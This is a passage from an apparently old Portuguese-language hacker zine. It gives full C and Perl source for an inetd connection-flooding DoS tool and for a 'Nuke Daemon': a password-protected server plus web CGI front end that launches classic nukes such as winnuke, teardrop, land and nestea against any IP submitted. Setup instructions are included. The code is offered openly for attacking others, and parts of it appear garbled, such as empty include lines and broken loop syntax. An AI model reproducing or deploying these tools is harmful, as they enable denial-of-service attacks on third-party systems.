'falha' bem babaca.
Aqui um programa bem simples que estabelece uma connecao com uma porta
sem parar.
-------------------------------------------------------------( inetd_dos.c )-
#include
#include
#include
int S,i;
void main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
if(argc<3){
printf("Usage : %s host port\n\n",argv[0]);
exit(0);
}
hp = gethostbyname(argv[1]);
bzero((char*) &sin, sizeof(&sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
do{
if((S=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
printf("\nSocket Error\n");
exit(0);
}
if((connect(S,(struct sockaddr *) &sin, sizeof(sin)))==-1){
printf("\nConnect Error - Yeah!\n");
close(S);
exit(0);
}
close(S);
}while(1);
}
-------------------------------------------------------------( inetd_dos.c )-
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
■──┤ [0x09] Nuke Daemon .cgi ├────────■ SouL Hunter ■─
╚═─────────────────────────────────────────────═╝
Mais CGIs do MAL :)
Na antiga netusers.net ou da microsoftz.com existia um cgi que fazia o
papel de um Nuke-Server, onde vc podia literalmente nukar via http.
Como nao existe mais a microsoftz, vamos colocar aqui esse cgi e o daemon
para que qualquer um que tenha um micro com linux (root) possa ter um
'web-nuke' ou algo assim...
O esquema eh o seguinte.
Primeiro de tudo. voce TEM que ter um lugar para colocar o CGI. e voce TEM
que ser root em uma maquina linux. (Pode ser o seu computer).
Obs: o lugar onde voce vai colocar o CGI e o lugar onde vc ira rodar o
./nuked nao precisam ser os mesmos
Configure o nuked.c (os diretorios dos nukes) e o nuke.cgi (o IP onde esta
o ./nuked)
Voce coloca o nuke.cgi em QUALQUER lugar que aceite CGI (NAO PRECISA SER
ROOT NEM NADA).
Depois voce tem que rodar o ./nuked em QUALQUER micro. (Linux, claro :) )
Ele vai abrir a porta 60000 e fica esperado comandos que serao enviados pelo
nuke.cgi.
Voce tem 2 opcoes. Rodar o ./nuked como root ou colocar setuid root nos
nukes. ja que para usar RAW sockets eh necessario ser root.
Cabo.
Depois tipo. voce entra em http://blah/cgi-bin/nuke.cgi
escolhe o nuke digite o IP (Tem que ser o IP mesmo). e clique no butao.
o CGI enviara os dados para o micro onde esta o nuked pela porta 60000.
-----------------------------------------------------------------( nuked.c )-
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SERVERPORT 60000
#define FILE_LOG "/nukes.log"
#define PASSWORD "NEARZ"
// Defina 1 para SIM e 0 para naum.
#define HAVE_WINNUKE 1
#define HAVE_JOLT 1
#define HAVE_SIMPING 1
#define HAVE_LAND 1
#define HAVE_TEARDROP 1
#define HAVE_NEWTEAR 1
#define HAVE_BOINK 1
#define HAVE_NESTEA 1
// localizacao dos Nukes
#define WINNUKE "/bin/nukes/winnuke"
#define JOLT "/bin/nukes/jolt"
#define SIMPING "/bin/nukes/simping"
#define LAND "/bin/nukes/land"
#define TEARDROP "/bin/nukes/teardrop"
#define NEWTEAR "/bin/nukes/newtear"
#define BOINK "/bin/nukes/boink"
#define NESTEA "/bin/nukes/nestea"
#define BACKLOG 10
char *readline();
int Connect( const char *hostname, const int port );
char *hora();
void nuke(int n);
void handle_alarm(int sn);
void sai(int sn);
void main2();
char line[5000];
int new_fd,sockfd,S;
char temp[5000];
char temp1[5000];
int i;
FILE *fp1;
time_t lt;
struct tm *ptr;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
void main(int argc,char **argv)
{
signal(SIGHUP , sai);
signal(SIGINT , sai);
signal(SIGTERM, sai);
signal(SIGKILL, sai);
signal(SIGQUIT, sai);
strcpy(argv[0],"NearZ - NukeDaemon");
do{
main2();
}while(1);
}
void main2()
{
int i;
int sin_size;
fp1=fopen(FILE_LOG,"a+");
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
fprintf(fp1,"%s - Erro de socket - saindo...\n",hora());
fflush(fp1);
sai(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(SERVERPORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(my_addr.sin_zero), 8);
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
sai(1);
}
if (listen(sockfd, BACKLOG) == -1) {
fprintf(fp1,"%s - Erro no listen - saindo...\n",hora());
fflush(fp1);
exit(1);
}
while(1) { /* main accept() loop */
sin_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
continue;
}
fprintf(fp1,"%s - CONNECT - %s\n",hora(),inet_ntoa(their_addr.sin_addr));
fflush(fp1);
if (!fork()) {
signal(SIGALRM, handle_alarm);
alarm(10);
strcpy(temp,readline());
if(strcmp(temp,PASSWORD)==0){
fflush(fp1);
strcpy(temp,readline());
if(strcmp(temp,"WINNUKE" )==0) nuke(1);
else if(strcmp(temp,"JOLT" )==0) nuke(2);
else if(strcmp(temp,"SIMPING" )==0) nuke(3);
else if(strcmp(temp,"LAND" )==0) nuke(4);
else if(strcmp(temp,"TEARDROP")==0) nuke(5);
else if(strcmp(temp,"NEWTEAR" )==0) nuke(6);
else if(strcmp(temp,"BOINK" )==0) nuke(7);
else if(strcmp(temp,"NESTEA" )==0) nuke(8);
} else if(strcmp(temp,"CHECK")==0){
close(new_fd);
exit(0);
} else {
fprintf(fp1,"%s - %s - ERRO NOS DADOS (PWD?) - (%s)\n",hora(),inet_ntoa(their_addr.sin_addr),temp);
fflush(fp1);
write(new_fd,"Z\n",2);
close(new_fd);
exit(0);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
signal(SIGCHLD, SIG_IGN);
}
}
char *readline()
{
char singlekey;
int i=0;
do{
read(new_fd,&singlekey,1);
line[i++]=singlekey;
}while(singlekey!=0x0a && i<4900);
line[i-1] = 0x00;
return line;
}
int Connect( const char *hostname, const int port )
{
struct sockaddr_in sin = {0};
struct hostent *phe;
int sock;
sin.sin_family = AF_INET;
sin.sin_port = htons( port );
if ( !(phe = gethostbyname( hostname )) ){
printf("\nGet host by name error\n");exit(0); }
memcpy( (char *)&sin.sin_addr, phe->h_addr, phe->h_length );
if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) == -1 ){
printf("\nSocket error\n");exit(0);
}
if ( connect( sock, (struct sockaddr *)&sin, sizeof(sin)) == -1 ){
printf("\nConnection error\n");exit(0);
}
return sock;
}
void handle_alarm(int sn)
{
int i;
fprintf(fp1,"%s - %s - TIMEOUT\n",hora(),inet_ntoa(their_addr.sin_addr));
fflush(fp1);
alarm(0);
close(sockfd);
main2();
}
void sai(int sn)
{
int i;
alarm(0);
signal(SIGALRM, SIG_DFL);
if(sn!=1){
fprintf(fp1,"%s - SIGNAL %d \n",hora(),sn);
fflush(fp1);
}
close(new_fd);
close(sockfd);
fclose(fp1);
exit(0);
}
void nuke(int n)
{
char ipdest[5000];
char temp02[5000];
strcpy(ipdest,readline());
if(strlen(ipdest)>15 || strlen(ipdest)<11 || strchr(ipdest,'.')==NULL || strchr(ipdest,'.')==strrchr(ipdest,'.')){
write(new_fd,"X\n",2);
close(new_fd);
exit(0);
}
for(i=0;i'9'){
if(ipdest[i]!='.'){
write(new_fd,"X\n",2);
close(new_fd);
exit(0);
}
}
}
if(n==1 && HAVE_WINNUKE ) sprintf(temp02,"%s %s",WINNUKE,ipdest);
else if(n==2 && HAVE_JOLT ) sprintf(temp02,"%s %s %s",JOLT,ipdest,ipdest);
else if(n==3 && HAVE_SIMPING ) sprintf(temp02,"%s %s",SIMPING,ipdest);
else if(n==4 && HAVE_LAND ) sprintf(temp02,"%s %s",LAND,ipdest);
else if(n==5 && HAVE_TEARDROP) sprintf(temp02,"%s %s %s -n 15",TEARDROP,ipdest,ipdest);
else if(n==6 && HAVE_NEWTEAR ) sprintf(temp02,"%s %s %s -n 15",NEWTEAR,ipdest,ipdest);
else if(n==7 && HAVE_BOINK ) sprintf(temp02,"%s %s %s 0 65535 1",BOINK,ipdest,ipdest);
else if(n==8 && HAVE_NESTEA ) sprintf(temp02,"%s %s %s -n 15",NESTEA,ipdest,ipdest);
else {
write(new_fd,"Z\n",2);
close(new_fd);
return ;
}
write(new_fd,"A\n",2);
fprintf(fp1,"%s - %s - NUKE -> %s - tipo:%s\n",hora(),inet_ntoa(their_addr.sin_addr),ipdest,temp);
fflush(fp1);
strcat(temp02," & ");
system(temp02);
close(sockfd);
exit(0);
}
char *hora()
{
lt =time('\0');
ptr=localtime(<);
strcpy(temp1,asctime(ptr));
temp1[strlen(temp1)-1]=0x00;
return temp1;
}
-----------------------------------------------------------------( nuked.c )-
----------------------------------------------------------------( nuke.cgi )-
#!/usr/bin/perl
use Socket;
$CGI_FILE_NAME = "nuke.cgi";
$NUKESERVER = "127.0.0.1";
$PORTSERVER = 60000 ;
$SERVER_PASSWORD= "NEARZ";
$WINNUKE = 1;
$JOLT = 1;
$LAND = 1;
$SIMPING = 1;
$TEARDROP = 1;
$NEWTEAR = 1;
$BOINK = 1;
$NESTEA = 1;
print "Content-type: text/html\n\n";
&Getget;
if ($FORM{'submit'} eq ""){ &page1; } else {
if("$FORM{'host'}" eq "") { print "Eh necessario escolher um Nuke"; die; }
&doit;
die;
}
sub Getget {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs=split(/&/, $buffer);
foreach $pair (@pairs) {
($cabe, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/~!/ ~!/g;
$FORM{$cabe}=$value;
}
}
sub page1 {
$h = $NUKESERVER; $p = $PORTSERVER ;
$in_addr = (gethostbyname($h))[4];
$addr = sockaddr_in($p,$in_addr);
socket(S, AF_INET, SOCK_STREAM, getprotobyname('tcp'));
# conectou
if(connect(S,$addr)){
send(S,"CHECK\n",0);
close S;
print <
$ENV{'REMOTE_HOST'}
$ENV{'HTTP_USER_AGENT'}
O Servidor de nuke esta funcionando
|
FIM
} else {
# nao funciona argh!
print <
|
O Servidor de nuke nao esta funcionando |
FIM
die;
}
print <